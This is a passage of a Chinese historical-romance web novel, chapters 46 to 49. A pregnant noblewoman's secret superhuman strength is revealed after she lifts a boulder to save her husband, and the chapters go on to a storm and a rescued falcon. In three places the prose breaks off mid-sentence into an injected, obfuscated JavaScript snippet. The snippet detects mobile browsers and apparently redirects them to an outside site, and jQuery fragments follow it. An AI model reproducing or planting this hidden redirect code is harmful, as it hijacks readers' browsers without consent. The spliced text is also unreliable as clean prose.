实在气不过,她张开嘴,狠狠地在他脖子内侧咬了一口,眼泪混着血液浸湿了他的前胸后背。 因着宣槿妤的情绪过于激动,且呜呜咽咽的,她说了什么苏琯璋也没能听清,只大致听得出来她在骂他。 “槿妤,对不住,是我的错。”他十分熟练地开始道歉,“你现在身子不舒服,先不哭了好不好?” 二人正紧紧相拥,她的肚子就贴在他胸膛下方,苏琯璋已经察觉到孩子在她肚子里不安地动了好几下。 46. 第 46 章 母子连心,胎儿最能感知到母亲的心情,许是被宣槿妤的情绪感染,孩子动了几下之后,又大幅度地转过了身。 宣槿妤深吸一口气,也忘了哭,推开苏琯璋就捧着肚子,一副不知道该怎么办、欲哭不哭的模样。 “是不是不舒服?”苏琯璋方才也感觉到了孩子的大动作,忙给她把脉,“很疼?” 宣槿妤慢慢平静下来,闻言摇了摇头,只长长的睫毛还是湿的,配合着她此时不知所措的表情,显得娇弱又楚楚可怜。 苏家的女眷们听出了是跟孩子有关的事,不由得围了过去。 宣文晟下意识想跟过去,想起什么,走了两三步,又停了下来,跟着苏家几个男人站在人群外围,紧张地看着。 然后他便听到宣槿妤说,“不疼,但它是不是生我气了?”声音可怜巴巴的。 苏琯璋替她按揉了身上的几个穴位,替她舒缓着身子和情绪;但他也没经手过别的妇人,也没有孕子的经验,这下倒是被宣槿妤问住了。 他回忆着曾看过的医书,以及曾在长辈们、经验丰富的接生婆和奶娘们那里学来的知识,确认没学到这方面的事。 胎儿会生母亲的气吗? 他也不知道。 苏琯璋从前不擅妇科,这方面所学的医术和经验,大部分都是在刑部死牢里的那半个月里,废寝忘食看医书,还有请教宣府府医和诸位专职妇儿的妇人们才得来的。 也多亏他自幼聪敏,又过目不忘,才得以在短短的半个月里出师。 他被宣府府医亲自考校过,确认他医术不输经验丰富的妇科大夫,也担心有人做手脚,所以林清婉和宣文晟并未再找大夫一路跟着。 这一路上苏琯璋也表现得很是完美,至少大家伙有什么头疼脑热、以及宣槿妤腹中胎儿有什么情况,他都能很快处理。 但他最大的弱点便是他是男子,也没经手过有孕的妇人,对于孕妇在孕期有什么妊娠反应他常是后知后觉的。 这一点从最初宣槿妤害喜时许玉娘就看出来了。 是以她见到小儿子被小儿媳问住了,便笑着插话,“槿妤问他作甚,他个大男人又不会怀孕。” 苏老夫人也难得跟着长媳埋汰小孙子,乐呵呵附和,“就是,槿妤你不如问问我们。” 苏家的媳妇们,除了正怀着胎儿的宣槿妤,其余年老的、中年的、年轻的,这三代媳妇中最少的都生养过两胎,最是不缺妊娠的经验。 眼见着宣槿妤的情绪已经被孩子转移,开始慢慢恢复过来,三位嫂嫂也看出了苏老夫人和许玉娘的用意。 于是连忙你一言我一语地传授起了经验来,好将宣槿妤的注意力从方才那惊险绝望的事情中转移开来。 “三个月的胎儿已经成型了,五个月的时候可以听到外面的动静。”许萱娘率先说道。 常湄言点头,“这时候大人要好生注意自己的情绪,肚子里的孩子是可以感知到母亲的心情的。”她意有所指。 丁茜茜倒还记得方才将苏琯璋问倒的话,“槿妤你刚才问五弟的问题,三嫂嫂来回答你。” 她小心地将宣槿妤的手挪了位置,让她手心朝下放在腹部上,“它是不会生你气的,不过你方才哭得太狠,它在担心你。” 宣槿妤看了看三位嫂嫂,又去看苏老夫人、许玉娘和苏二婶她们,见她们纷纷点头,便安心下来。 她摸了摸肚子,温柔道:“娘亲不哭了,你别担心。” 她手下位置凸起一个小小的弧度,看形状,像是孩子的小手。 “它在和你击掌呢!”丁茜茜激动道。 孩子果真在回应她! 宣槿妤眼尾还红着,此时又拖了长长的红痕,是开心激动的。 苏琯璋紧张地看着她,却发现她眼中并没有泪,眉眼也在不知不觉间舒展了开来。 等到方才的惊险及后续终于告一段落,已经是一个时辰之后。 王虎听陈阳一行人说着方才宣小少夫人救夫的壮举,将信将疑。 若非这一路的相处,让他相信陈阳的为人,他早就在兵部这群人说什么“是宣小少夫人双手举起那块巨石”的时候,一拳挥过去了。 确定不是过于无聊而拿他们禁军解闷,借以施行报复之事?毕竟在盛京城中时,两支军队就向来不合。 “是真的。”分明事情已经过去一个多时辰,陈阳再想起那一幕时犹且还是一副神情恍惚的模样,“我也宁愿是自己看错了。” 先不说她有孕在身的事,就说她那样一个娇小姐,怎么就有那么大的力气呢? 要知道,方才他们好奇,派了十多人合力去推那巨石,也只是勉强将它推得滚动了一小圈,遑论将它举起来。 王虎看着陈阳的模样,又去看他身后官兵们如出一辙的不敢置信的神情,终于有九成相信了他们说的话。 这下神情恍惚的变成王虎了。 而这头,确认宣槿妤和她腹中胎儿都安好之后,众人就开始关心方才被“埋”在巨石后面的苏琯璋来。 “璋小子,你没受伤吧?”许玉娘围着儿子绕了一圈,见他身上连碎石灰尘都没沾到多少,更不见任何伤势,欣喜之余又是十分惊奇。 除了当时背对着山路自顾自在玩闹的孩子们,其余人可都亲眼见着那块巨石是朝着苏琯璋兜头砸下去的,而后落石引起的震动又持续了许久。 山石后方的王虎他们一群禁军,没怎么受到波及都有人为此受了伤,苏琯璋处在险情中心,却是毫发无损,真是奇事。 “石头砸下来的时候,那块岩石先被震落在地,”苏琯璋远远地给他们指了指岩石砸落后留下来的坑洞,“我当时就躲在那洞里。” 其实方才众人看到的是,山顶的巨石先落下、余震再将那块一直被他们关注着的岩石震落下来。 但这其实只是个假象。 实际上,是岩石先掉下来,垫在下方,巨石才砸到岩石上。 苏声最先转身,去看方才山路他们头顶上方的那块岩石所在的地方,果真见那里多了一个可容纳两人的坑洞。 那块岩石想是嵌在那里的,留下的坑洞像是这座山的一部分,十分坚实,怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816166|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得连后来的震动都无法波及那处。 没料到那块让他们十分在意的岩石没有砸落成为他们的危险源,正相反,因它掉落后留下来的坑洞成了救了苏琯璋的福地。 世事果真是奇妙。 苏家人连着宣文晟都去看那坑洞,对着下方已经被巨石砸成数十段的岩石指指点点。 这样的场景很快吸引了另一头陈阳王虎两队人的注意力,纷纷好奇地走了过去。 等他们听说苏琯璋是如何脱险的时候,也加入了感慨的队伍。 苏琯璋和宣槿妤没有去凑热闹,而是还留在原地。 “我没事,别担心。”见宣槿妤盯着地上裂成数十块的碎岩石,眼中带着后怕,苏琯璋忙抱住她安慰道。 宣槿妤没有说话,只双手环住他的腰,将头贴在他胸膛上。 而感慨完苏琯璋的好运气之后,苏家人也后知后觉回过味来。 这时才想起方才,宣槿妤只双手一抬,那块瞧上去就沉重无比的巨石就被她举了起来,扔在了一旁。 “我们十五个大男人合力,也只能让这块石头滚动一小圈。”陈阳指了指地上的滚痕,告诉苏家人。 “纵然我们武功算不上绝顶,但还是有点内力在身的。”他说,“让石头滚动,是在用了内力的情况下。”陈阳继续补充。 然后他满意地从苏家人和宣文晟脸上看到和王虎同款的难以置信。 很好,纵然你们修身的涵养再高,这下终于也是忍不住变脸了吧? “你们不信的话,可以试试。”王虎方才也带人试了一次,闻言撺掇道。 苏琯文、苏琯武这对双胞胎兄弟对视一眼,果真上前去试了一番。 他们二人习武多年,内力虽然比不上苏声,但也是十分深厚的,在同辈中是佼佼者。 再单说力气。他们和苏琯璋一样,自幼各种沉重的兵器都要拿着一练就是一天,自身在战场上对敌时用的也是重兵器。气力自不必多提。 可纵是如此,二人合力再加上内力,他们也只是让巨石缓缓挪动了一点位置;比陈阳王虎两队各十五人尝试的结果是好上一些,但那之后这石头也是纹丝不动。 厉害了,小弟妹竟如此力大无穷? 二人眼中有着默契的兴味盎然。 这事小弟知道吗? 小弟对小弟妹事事退让,打不还手,骂不还口;除了是得到他们苏家爱护妻子的传承,是否还有这个原因? 哦不不不,不行,他们怎么可以这么想风光霁月的小弟。 换个方向去想。 二人齐齐转头去看宣文晟。 宣家人定是知情的吧?不然也不会放心将他们的掌上明珠嫁入一个从老到小,代代习武的苏国公府。 说起来,宣槿妤嫁入苏家三年,被苏琯璋气到跑回娘家无数回,而宣家人从不打上门来;他们之前猜测过,以为是因为宣家人讲理且性情温厚这个十分站不住脚的理由。 如今看来,竟是因为宣槿妤藏了这么一个大秘密,他们家是知道她不可能在苏家吃到什么亏才对。 47. 第 47 章 不仅是这对双胎兄弟想明白了这件事,苏家其余大人也俱都恍然大悟。 宣文晟被苏家人齐齐看着,一个个眼里都透露着,“我明白了”“原来如此”的意味,纵然他脸皮再厚,也有些顶不住了。 他摸了摸鼻子,回头去看被苏琯璋抱在怀里的宣槿妤,心里叹气。 “妹妹啊妹妹,你的秘密守不住了。”他在心里嘀咕着。 虽然姑娘家力大无穷是件好事,但若真被世人知道,好像也没那么好。毕竟一身蛮力,和娇滴滴的世家小姐,二者放一起着实不搭。 尤其现在还有了这么明显的对比:这么多武人以自身气力加上内力都难以撼动的巨石,却被宣槿妤轻轻松松地抬了起来且举起来扔在一旁。 “小婶婶你是大力士诶!” 慕哥儿十分兴奋,他跑到大人们那里,仰起头看着差点望不到顶的巨石,还摸了摸它粗粝的表面;又跑到才退出苏琯璋怀抱的宣槿妤面前,仰头朝她笑,眼里都是崇拜。 宣槿妤这才后知后觉地发现她暴露了什么。 她抬起眼和苏琯璋对视了好一会儿,却没能在他素来清淡的眼神里看出什么情绪来。 哦,她好像忘记了,当时苏琯璋躲在坑洞里,看不到她的动作来着。 她顿时有些心虚地移开了视线。 哎呀! 一想到她的秘密就要被眼前这个男人知道,她浑身上下皆是不自在——她昨夜被他抱着洗身子都没有如此害羞。 见她脸都红了,苏琯璋若有所思地收回落在她身上的眼神,伸手将还在地上蹦蹦跳跳嘴里叫着“小婶婶,大力士”的慕哥儿抱了起来。 “慕哥儿,怎么了?为什么说小婶婶是大力士?” 宣槿妤掩耳盗铃般捂住了双耳。 嘤,她在苏琯璋心中娇小姐的形象就要不保了! 慕哥儿可不知道他小婶婶此时的想法,兴奋地张口就开始讲述方才的事情,还特意将陈阳、王虎二人的话复述了一遍。 他如今已经满了三岁,口齿十分伶俐,话还多,平日里连他亲姐姐燕姐儿都有些嫌弃他,常常让他闭嘴。 现在终于有人愿意认真听他讲话,这人还是他十分崇拜的小叔叔,讲的还是关于他平日里就很喜欢、如今晋升他崇拜人员名单第一名的小婶婶的事,他讲得便十分详尽。 慕哥儿说到兴奋处,示意苏琯璋放他下地,给他演示了一遍。 “就是这样,”慕哥儿讲了小半刻钟了还不觉疲惫,双眼亮晶晶的,“我爹爹和三叔叔都没推动那石头。” 他讲得太久,童言童语又十分清晰且可爱,早就将其余一众人的视线吸引了过来。 就连平日里嫌弃他话多的燕姐儿此时也听得津津有味,时不时点头表示赞同。 不过,身为话题中心的宣槿妤却是十分煎熬,她看着苏琯璋含笑看来的目光,真是恨不得找个地缝钻进去。 呜呜呜,她在苏琯璋心里定然不是身娇体贵的柔弱姑娘了。这样的话,以后还让她怎么心安理得地使唤他替自己做事? 哦不不不,他是她夫君,使唤他做事是应该的。 这头宣槿妤在胡思乱想,那边被提及的苏琯文和苏琯武两兄弟,便有些不满。 苏琯武忍不住纠正儿子的话,“慕哥儿,你爹爹我和你三叔叔还是将那石头推动了的,挪了这么长的距离呢!” 他冲着苏琯璋比了半臂长的距离,笑得意味深长且幸灾乐祸。 小弟妹宣槿妤真是能给人惊喜。 平日里也就只有她能治一治小弟的寡言木讷,让他那张永远没什么表情的脸上出现一点波动。 这下知晓宣槿妤还有如此大的力气,他可真好奇苏琯璋的反应。 苏琯武紧紧盯着苏琯璋的脸,不愿意放过他任何可能变化的表情。 可惜的是,他还是失望了。 苏琯璋连个眼神都没给他,只还认真听着慕哥儿说话。 对,他儿子这时候还没讲完。 “爹爹别打断我,我才要说呢!”慕哥儿牵着宣槿妤的手,不乐意地埋怨苏琯武。 周边的人都在轻笑,嘲笑苏琯武这个当爹的竟还要抢儿子的风头。 苏琯武看不成苏琯璋的笑话,反还被儿子埋怨,受到了群嘲,顿时讪讪地摸了下鼻子,不说话了。 …… 等慕哥儿意犹未尽地闭上嘴巴,所有人不约而同地长松了一口气。 谢天谢地,他可算是讲完了。 日后可不能再不让慕哥儿讲话了,看把他憋的,丁点大的娃娃,单方面讲起故事来就说了小半个时辰。 苏琯武和妻子丁茜茜苦笑着互相对视一眼。 丁茜茜感慨道:“真难为小弟这么有耐心地听他讲完。”她身为苏玉慕的娘亲,可自觉真没那个好耐性听儿子的长篇大论。 苏琯武不住地点头,也十分钦佩小弟的好耐性。 他是武将,平日里就最是厌烦旁人话多,最喜一言不合就动手。苏玉慕是他幼子,他才勉强逼着自己听完了,免得孩子伤心。 但是苏琯璋不仅全程认真地听他讲完了,还时不时喂他喝口水,免得他口干。最后还担心他站着太累,将他抱在怀里听着他讲话。 又捧场,还服务周到,可谓是给足了苏玉慕排面。 再看方才围着听的一群人,陈阳王虎他们早就不耐烦地各自散开休息去了,而苏家自己人这边,也没几个有那等耐心听完的。 除了苏琯璋和被慕哥儿牵着手不让她离开的宣槿妤,这会儿的苏家人也都坐着休息了不短的时间。 而孩子们更是昏昏欲睡地倒在大人们怀里,看上去都快要睡着了。 慕哥儿讲完了,期待地看着小叔叔和小婶婶。 苏琯璋摸了摸他的头。 宣槿妤早就破罐子破摔,干脆和苏琯璋一起听着,就当听慕哥儿讲故事了,只不过主角是她自己而已。 “慕哥儿讲得真好。”此时她看着小孩子一脸期待大人表扬的模样,心里软了几分,“才三岁就这么会讲故事,我们慕哥儿真棒!”她说得一脸真诚。 慕哥儿高高兴兴地松开了牵着宣槿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15820772|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妤的手,跑到爹娘面前蹦蹦跳跳的,“爹爹娘亲,小婶婶夸我了。” 苏琯武朝宣槿妤递过去一个感激的眼神,难为她真不嫌弃儿子的话痨。 “真的啊?那慕哥儿确实很棒了。”苏琯武言不由衷地说。 丁茜茜就促狭许多,摸了摸儿子的小脑袋,“可不是,慕哥儿,你把小婶婶的形象说得这么高大,就冲这点她就不好意思不夸你。” 说着她自己就先撑不住笑了,对着宣槿妤飞过去几个看好戏的眼神,示意她去看苏琯璋的反应。 宣槿妤:“……”就知道三嫂嫂要拿她取笑,真够坏的。 她再去看苏琯璋,脑子里盘算着要说些什么才能挽回自己在他心中的形象。 可她想了好一会儿,脑中都是一片空白。 睁眼说瞎话真是太难了。 末了,宣槿妤索性扑进苏琯璋怀里,嘤嘤嘤地哭着,“夫君,你没事真的多亏上天保佑。幸好那石头自己掉下去了。” 还站在他们旁边的苏琯武、丁茜茜满脑子的问号,小弟妹/槿妤她在说什么? 苏琯璋猝不及防地将人抱了满怀,待听清楚宣槿妤在说什么之后,不由哑然失笑。 他正要开口,宣文晟已经抢了先附和起来,“对对对,还好那石头自己掉下去了。” 也不管旁人信没信,他已经开始教训起人来,“槿妤你也真是太冲动了,若非那石头自己掉下去,你就这么冲上去,万一砸到你可如何是好?” “你还是双身子呢!” 又来一个睁眼说瞎话的,苏琯武丁茜茜夫妻俩已经看麻了。 其余人也都反应过来,好笑之余,又颇感兴趣地去看苏琯璋的反应,看他要如何开口。 苏琯璋憋了好一会儿,才道:“槿妤,你方才也太冒险了。还好那石头自己掉下去了。” 许玉娘眼皮狂跳,扶着额叹息。 众目睽睽之下,宣槿妤双手抬起巨石已经是遮掩不住的事实。 若要维护她的娇小姐形象,牵强地说石头是掉下去的,宣槿妤只是恰好将手放在上面,倒也不是不行。 他们可以配合,但是倒也不必要一口一个“那石头自己掉下去了”吧? 戏过了啊! 不过她一想到苏琯璋这么多年难得睁眼说一次瞎话,能有这水平也是不错了,便也歇了那份吐槽的心思。 宣槿妤看着表情假到不能再假的苏琯璋,忍不住在他腰际掐了一把,“别说了。” 这人说起谎来虽然也不眨眼,但实在太假了。 他个冷面假人,竟如此不擅谎言,也是稀奇。照理说,这木头桩子因为脸上表情总是不变,说了假话旁人也察觉不出来才对啊? 夜里,他们歇息在了山脚下的驿站。 “你……”宣槿妤靠在苏琯璋身上,微微隆起的小腹上二人的手交叠着。 “你是不是早就知道我力气大这件事?”她小声地问。 她明明是世家千金、名门贵女,是盛京城中出了名的娇美人,却有着一身大力气,怎么想怎么难为情。 48. 第 48 章 苏琯璋手掌比她宽厚许多,不仅能将她整只手覆盖住,还能摸到她衣下温热的隆起。 “新婚当夜我就知道了。”他说。 竟这么早! 宣槿妤坐了起来,眼睛瞪得圆圆的,“你怎么知道的?” 苏琯璋一张玉面很快浮起一层薄红。 他在害羞? 可真是稀奇啊! 宣槿妤直直地盯着他,然后便听这人说:“新婚夜我们刚成事的时候你说疼,一把将我推开了。” 他是习武之人,且武功十分不错,气力比一般的名将或民间大力士还大一些。 但那晚,新婚妻子只轻轻一推,他便被迫离开了她散发着馨香的绵软身子。 那还是他有生之年最窘迫的时候,当然,也是最无措的时候。 然后他就十分生疏且磕绊地哄起了人,直磨了许久,直到临近子时二人才将洞房花烛夜圆满完成。 宣槿妤被他灼热的目光看着,很快也想起当时的羞窘与最后的圆满来。 二人相对看着彼此,各自身上都泛起了热意。 不合时宜的暧昧丛生。 “后来我也发现,你若是生气或是情绪激动,我就能被你轻易推开。”苏琯璋继续说着,“但是平日里,你没生气的时候想把我推开,都没能推动。” 所以这也成了他判断她情绪的法子之一,不然成婚三年,她怕是一天都不想和他过下去。 “说归说,收起你的反应。” 宣槿妤掐了他一下,感受着他身下迫人的热度,脸上都要烧起来了。 自有了胎动之后,他就收敛了欲望,而她也是。 眼下这种情形,可不是做那事的时候。 “也不知道他们相信了没有,”她决定转移他的注意力,“三哥哥说的可都是实话。”宣槿妤嘟哝着。 今日那出的后续,是宣文晟面不改色地替她解释了真相,说她只是因为过于担心苏琯璋才突然爆发出的力量。 她平时并没有这么大的气力,不然也不会是这样一副弱柳扶风的娇小姐模样。 这样的解释,十分贴合陈阳他们最初试图说服自己时绞尽脑汁给宣槿妤找补的理由。 但谁也不知道,他们是否相信了。 想着她泄了一口气,算了,她才不要管了,反正陈阳王虎他们当时都带头附和了。 “原来如此,宣小少夫人和苏小公子夫妻感情果真诚挚感人。”他们这样感慨。 宣槿妤脸上又开始发烫。 “谁和他夫妻感情诚挚感人了?”她极小声地嘟哝了一句。 “槿妤,你方才说什么?”苏琯璋没有听清,只看到她嘴巴一张一合,忙问。 他近来又和前一个月的沉默寡言不同,学会了察言观色,只要宣槿妤脸色稍稍变了一点点,他都能及时察觉并发问。 进步可谓是神速,不仅苏家人惊奇,就连宣文晟也暗中打听,他们夫妻二人私下在马车里独处时都发生了什么,竟让他一个清冷玉人变得这样体贴。 苏琯璋闭口不言,面对宣槿妤之外的众人又恢复了平素时冷冷清清的模样,谁也没能从他嘴里撬得到答案。 宣槿妤面对宣文晟的直言发问,和三位嫂嫂的旁敲侧击,总是一脸的笑,嘴巴也十分严实,可将众人的好奇心吊得高高的。 可就是谁也没能从这对小夫妻嘴里得到哪怕一个字的解释,只好作罢! 总归他们夫妻现在这样挺好的。 对此,宣槿妤只笑而不语。 她总不能说,是因为只要苏琯璋没能及时觉察出她的情绪变化,就会“惨遭她的毒手”吧? 上个月里他身上久不消散的各种咬痕掐痕就是这么来的。 宣槿妤毫不心虚地又在他颈侧咬了一口,不过这回是轻轻的,更像是一个吻。 苏琯璋心里一动。 她咬的位置正是今日他被她咬出血来的地方,那是他今日唯一受的伤。 夜渐深,宣槿妤睡下前,唇部颜色深了许多,红润润的,且还微微发肿。她看着仍未餍足的男人,心里微恼。 “我困了。”在他再次贴过来的时候,宣槿妤娇声道。在他下唇咬了一口,不过没敢用力,她怕明日被人看出端倪来。 这和她主动亲他有什么分别? 苏琯璋眸色渐深,将她困在怀中,又亲了下去。 翌日。 “我已经遣人将昨日山脚巨石砸落的事情告知了衙门。” 用完早膳时,宣文晟跟宣槿妤和苏琯璋说道:“清风回来时也说,衙差已经将那石头运走,还在城里贴了告示。” 清风本是宣文晟的暗卫,素来不会出现在人前。 但自从宣文晟决定跟着宣槿妤一行人南下之后,就将清风提到了明面上,好方便保护宣槿妤,还方便他管理暗中跟着的暗卫们。 “这两日应当不会再有人上山了。”苏琯璋颔首,“如此也好。” 昨日那巨石落下前,若非是岩石先行掉落现出坑洞,否则不管他身手再好,怕也是在劫难逃。 而普通百姓既没有身手,可能还难以有昨日那般凑巧的好运气,再遇上一次天降落石,不死也残,那就太可惜了。 再过两日,他们眼见着就要走出这连绵不断的山脉。 已经晴了几日的天却再次变了。 乌云来得极快,山间的风清爽又湿润,吹得众人衣袂翩飞,身上的那股夏日燥意瞬间便消散无踪。 “要落雨了,快找个地方躲一躲。”陈阳忙对着后头喊道。 前去探路的下属还没回来,他不禁有些急。 他们都还在山里头,这下是出不去了。但雨天山里危险,又难找躲避的地方,这下可如何是好? 宣槿妤本在苏琯璋怀里安稳地睡着,被陈阳一嗓子大喊扰醒,嘤咛一声,慢慢睁开双眼。 “醒了?”苏琯璋低头,见她睁着眼,双眸却还未聚焦,轻声问。 “放我下去。”宣槿妤轻哼了一声。 她还没睡饱,身子懒懒的,十分想伸个懒腰,但顾忌着人多,只偏头藏在苏琯璋身上悄悄打了个哈欠。 苏琯璋替她挡着旁人的视线,等过了一会儿才将宣槿妤放在地上。 “要下雨了,”宣文晟见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828667|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 状走了过来,“陈副尉的人好似出了事,这会儿还没回来,他又派了人去找。” “王千户的人并不擅长山间之事,不过同行这些时日,他们也和兵部的斥候学了点东西,这会儿也一起去了。” “我的人也派了出去。” 宣文晟小声又快速地将眼下的情况说给二人听,“当务之急,还是得先找个山洞避雨。” 云层已经很厚,黑压压的,天地间已然变色,眼见着就是一场暴雨酝酿着即将落下。 可这山里,一眼望过去都是蓊郁的绿树,哪里有什么山洞? “先继续往前走,”苏琯璋说,指了指斜前方不远处一处地势较为平坦的地方,“如果当真下雨又没找到躲雨的地方,就把马车停在那里,女眷和孩子们都上马车避雨。” 宣文晟点头。 这是没办法中的办法了,好歹要先保证这老弱妇孺不被雨侵扰,不然得了风寒可不好办。 宣文晟到前头和陈阳说了一声,很快队伍就改了方向,朝着苏琯璋说的平坦之地走去。 “我抱着你。”苏琯璋说着将宣槿妤抱了起来,“这里地滑。” 他们站着的地方恰好是山泉的出水口,水汨汨流淌着,周遭长了一圈青苔。方才陈阳他们的人经过的时候没注意,摔伤了一个。 “那你注意点。”宣槿妤揽紧苏琯璋的脖子,紧张道。 她情况不同,他若摔了,可就是摔了三个。 苏琯璋亲了亲她的额头,没有回答,只认真看着脚下的路。 宣槿妤安心地将头靠在他肩膀上。 一道闪电从厚厚的云层中越过,紧接着便是震耳欲聋的一道雷声,“轰隆隆”。 暴雨倾盆。 “快上马车。”苏琯璋将慕哥儿快速塞进马车里,又去接启哥儿。 不过好似晚了一步,说话的这当口,启哥儿身上已经湿了一小半了。 见老人妇人和小孩都上了马车,苏琯璋又迅速将车门阖上。 做完这一切,他的身上便已然湿透。 “打雷闪电不能在树下待着,”雨中传来宣文晟有些模糊的声音,“那里有块凸出的岩石,都到下面去。” 风大雨大雷声也大,树叶还摇曳着飒飒作响,便是近在咫尺,人的声音听在耳中时都像从隔了好远的距离传过来的。 “快快快,那边台子也能站几个人。”宣文晟临时当了两支队伍的队长,指挥起那近百人去躲避这越来越大的雨势。 其实躲不躲都无所谓了,现在马车外面的人,没有一个身上是不水淋淋像是沐浴在水塘里的。 就说话的功夫,他嘴里还不小心吞了几口水下肚,宣文晟皱着眉闭上了嘴巴。 “五弟,这里我来守着,你去弟妹那里吧!”苏琯煜安置好马匹后便忙跑了过来,对苏琯璋说道。 苏琯璋微微颔首,很快转移到宣槿妤所在的马车边上,跳上了车头,钻进了前室。这里本是为车夫赶车时避风雨防日晒所建,如今就派上了用场。 里头坐着的车夫,即宣文晟派来赶马的贴身侍卫,见到他,便侧过身,给他挪了下位置。 49. 第 49 章 “姑爷,”侍卫递过来干净的毛巾,“您身上都湿透了,先擦一擦。” 苏琯璋道了声谢,便擦了起来。 但并没有多大用处,他只勉强擦干了脸,发上和身上都还在往下淌着水,很快前室就积了一滩水。早有准备的侍卫在地上铺了一条大方巾,正好吸水。 听到苏琯璋声音的宣槿妤拉开车厢门,正看到这一幕。 她很快又退回到车厢里。 车厢门没关,苏琯璋看到她正在翻找装了二人衣物的箱子。 “槿妤,别找了,我等会儿还要出去。”看着宣槿妤手忙脚乱笨手笨脚的模样,他忍不住开口说道。 虽然宣文晟带来的马车都经过彻底改造,耐得住风雨,但谁也不知道这雨要下多久,总不能一直待在马车上。 便是女眷和孩子们待得住马车,吃饭喝水也是个问题。 何况,外面还有百余人,只能勉强在山岩下避雨,个个身上都湿透了。 再有就是马,现在这群马经过安抚,还能在雷声中保持安静,但再久,难保它们不会受惊发狂。 是以,先找个安稳避风雨的地方才是要紧之事。 又是一声雷鸣,好似响彻天地。 刚听到苏琯璋的话想开口的宣槿妤身子不由一抖,被许玉娘心疼地圈进怀里,“槿妤别怕。” 苏琯璋下意识想跨过车厢门,但才动身,身上的水就哗哗地往下淌,他便不动了。 宣槿妤的视线隔着一道车厢门望过来,苏琯璋清楚地看到了她眼中的委屈。 是了。 平日里他们二人就很少分开过,如今雷雨天,且还是在这样艰难的环境中,她更是需要他的陪伴和安慰。 苏琯璋接过许玉娘递过来的干净衣物,关上了车厢门。 侍卫自觉转过身去,苏琯璋便飞快脱下身上湿漉漉的衣裳,擦干身子,又换上干衣物。 一头湿发,他则用毛巾包裹着,用内力烘干了。 他打开车厢门时,又恢复了一身的清爽。 “槿妤,我来了。”苏琯璋走进车厢,从母亲怀里接过宣槿妤,让她坐在自己身上。 “没被吓着吧?”他问着,替她把脉。 宣槿妤将头靠在他肩上,眼泪很快将他才换好的干衣裳浸湿。 她用力抱着这个男人,在越来越急的雨声和轰鸣声中,放任了自己的脆弱。 雷声十分吓人,像是要将闯入山中的这群不速之客吓走;闪电游走在云层之中,惨紫的光衬着乌黑的云,有种像是要毁灭一切的瘆人之感。 “砰~” 车窗被什么东西狠狠砸了一下,窗框抖了几下,又恢复了雨点砸落时噼啪的声响。 不多时,宣文晟捧着一个白色的东西上了他们这辆马车。 “那雷击中了一只白隼。”他看到紧紧贴在妹夫身上,身子有些颤抖的宣槿妤,声音顿了顿。 不过他的声音已经吸引了宣槿妤的注意力,她转头朝前室方向看过来。 “它右腿被闪电灼伤了,飞不起来。”宣文晟站在门口,并不进去,只将手中的矛隼递给许玉娘。 “我想着,它兴许能给妹妹做个伴儿。” 和苏琯璋方才一样,宣文晟此时全身上下也在淌着水,地上的那块大方巾已经被侍卫换成了另外一块。 “它不伤人吧?”许玉娘双手捧着白隼,看本是猛禽的它如今蔫蔫的,犹有些不放心。 矛隼都凶猛,这只又是没被驯化过的,野性定然十足,槿妤如今是双身子,万一被伤了可不好。 “我让人做了个笼子,很快送进来。”宣文晟说,显然他事先已经考虑过这个问题了。 宣槿妤从苏琯璋怀里转过身,和婆母手中的白隼对视,她看到了它眼里的乞求和桀骜。 十分矛盾的眼神。 “不用笼子了,”宣槿妤小心地将白隼从婆母手中接过来,用干毛巾包好,示意苏琯璋给它看看,“它是野物,不该关着它。” 白隼有些重,大抵快要成年了,有个几斤重的样子。 “而且,它不会伤害我的。”她摸了摸白隼湿漉漉的头,看苏琯璋检查它的右腿,和它对视了好一会儿。 白隼似是听懂了她的话,将头在她掌心蹭了蹭。 许玉娘惊讶地看着如此有灵性的矛隼,也忍不住摸了摸它的头,却没等来它的主动蹭蹭,而是高傲地将头转了开来。 许玉娘:“……”但她更开心了,“这隼可真有灵性。” 一般的矛隼,常人也难以见到,遑论捕捉。 因为许家和苏家都是武将世家,偶尔倒是能猎到一两只,许玉娘也得以见识过。 但这样凶猛的鸟儿,桀骜难驯、宁死不屈,最后都只好将它们放了,免得真害了它们的性命。 她还遗憾了好一阵,觉着这辈子是无缘见到一只愿意亲人的矛隼了,没料到这只白隼竟不用驯养也可以让人类接近。 大抵还是因为它的伤势? 看着苏琯璋熟练地替白隼处理伤势,许玉娘若有所思。 宣文晟看着那白隼乖乖地待在妹妹手里,也放下了心。 他将头伸出马车,往外大喊了一声,“笼子不要了。” 很快遥遥的一声传来,余声湮没在雷雨声中。 